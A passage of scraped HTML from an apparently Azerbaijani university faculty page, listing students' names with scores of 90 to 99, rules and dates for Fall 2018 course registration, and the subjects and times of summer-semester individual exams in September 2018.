width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>94</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Səlimə Ağamoğlanlı</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>99</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Ləman Əliyeva</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>94</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Elnur Nağıyev</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>98</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Liana Nuriyeva</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>92</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Aygün Ağabalayeva</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>94</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Məryam Daşdəmirova</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>93</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Xəyalə Məmmədova</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>95</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Ülviyyə Qənbərova</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>91</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Aygün Şirinova</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>96</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Əkbər Bayramov</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>96</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Kamran Hüseynov</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>96</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Aynur Abbasova</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>98</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Dağlar Hüseynli</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>99</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Məhəmməd Məhərrəmov</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>93</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Nigar Abdulqədirova</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>95</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Sabir Hüseynov</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>94</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Rena Yüzbəyova</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>90</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Christopher Graham Hanschell</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>94</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Tendai Samantha Shereni</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>93</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Tatenda Melody Mudara</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>92</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Alif Paramardhika</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>97</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">John Ayomide Arogun</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>90</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Turana Alieva</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>92</strong></p>\r\n  </td>\r\n </tr>\r\n</tbody></table><p></p><div>_</div><br><p></p><p><strong><em>PAYIZ 2018 SEMESTERİ FƏNN QEYDİYYATI !</em></strong></p>\r\n<p style=\"text-align: justify;\" text-indent:-.25in\"=\"\">1.Qeydiyyata gələn hər bir tələbə götürəcəyi fənn sayından aslı olaraq (hər fənnin kreditinə görə) ödəniş etməlidir. Tələbə max. 6 fənn min. 4 fənn ilə qeydiyyat edilə bilir. Ödəniş tam formada Bank vasitəsilə edilməlidir: Banklar – Paşa Bank, Xalq Bank və VTB. Ödənilən pulun qəbzi Universitetin kassasında təsdiq edildikdən sonra mütləq dekanlığa təqdim edilməlidir! Ödəniş etməyən tələbə, fənn qeydiyyatında iştirak edə bilməz!</p>\r\n<p style=\"\" text-indent:-.25in\"=\"\">2.<strong><em>Fakültəmizin qeydiyyat vaxtları aşağıdakı kimidir:</em></strong><em></em></p>\r\n<p><strong>Filologiya </strong>(2,3,4,5 kurslar) – 5 sentyabr<strong></strong></p>\r\n<p><strong>Tərcümə </strong>(2,3,4,5 kurslar) – 7 sentyabr<strong></strong></p>\r\n<p><strong>Dizayn </strong>(2,3,4,5 kurslar) – 5 sentyabr</p>\r\n<p><strong>Psixologiya </strong>(2,3,4,5 kurslar) – 5 sentyabr</p>\r\n<p><strong>Magistrlar</strong> (1,2 kurslar)<strong> </strong>– 5 sentyabr</p>\r\n<p><strong>Beynəlxalq münasibətlər </strong>(2,3,4,5 kurslar) – 5 sentyabr</p>\r\n<p><strong>Regionşünaslıq </strong>(2,3,4,5 kurslar) – 5 sentyabr</p>\r\n<p><strong>Politologiya </strong>(2,3,4,5 kurslar) – 7 sentyabr</p>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><br></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Diqqət!!!</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Yay&nbsp;semesterinin&nbsp;fərdi fənləri üzrə&nbsp;imtahanlar&nbsp;aşağıda&nbsp;qeyd&nbsp;olunan&nbsp;tarixlərdə keçiriləcəkdir:</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><em>6&nbsp;sentyabr&nbsp;2018-ci il&nbsp;saat&nbsp;11:00-da&nbsp;otaq&nbsp;203N</em></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Grammar pre-advanced</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Conflictology</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Arabic 2</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Legal and Court Translation</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Text Interpretation</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">European Culture and Art</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ethics</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Experimental Psychology</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">English Foundations-2</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Law Enforcement systems</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ancient and Medieval Social history of Political thoughts</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">International Organizations</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Introduction to Psychology</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Foreign&nbsp;policy of Azerbaijan</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Theory of translation</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">International Political Economy</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">News Writing</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Political Systems of AZ and foreign Countries</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Introduction to translations</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">NATO and Security Studies</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">History of psychology</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Political and Economic Geography</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Documentation and Terminology</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Research Methods in Political Science</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Diqqət!!!</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Yay&nbsp;semesterinin&nbsp;fərdi fənləri üzrə&nbsp;imtahanlar&nbsp;aşağıda&nbsp;qeyd&nbsp;olunan&nbsp;tarixlərdə keçiriləcəkdir:</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><em>10&nbsp;sentyabr&nbsp;2018-ci il&nbsp;saat&nbsp;11:00-da&nbsp;otaq&nbsp;203N</em></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong>Modern Political theories</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">History of English Language</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Introduction to Sociology</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Advanced Azerbaijani Language</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Advanced Azerbaijani Literature</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" 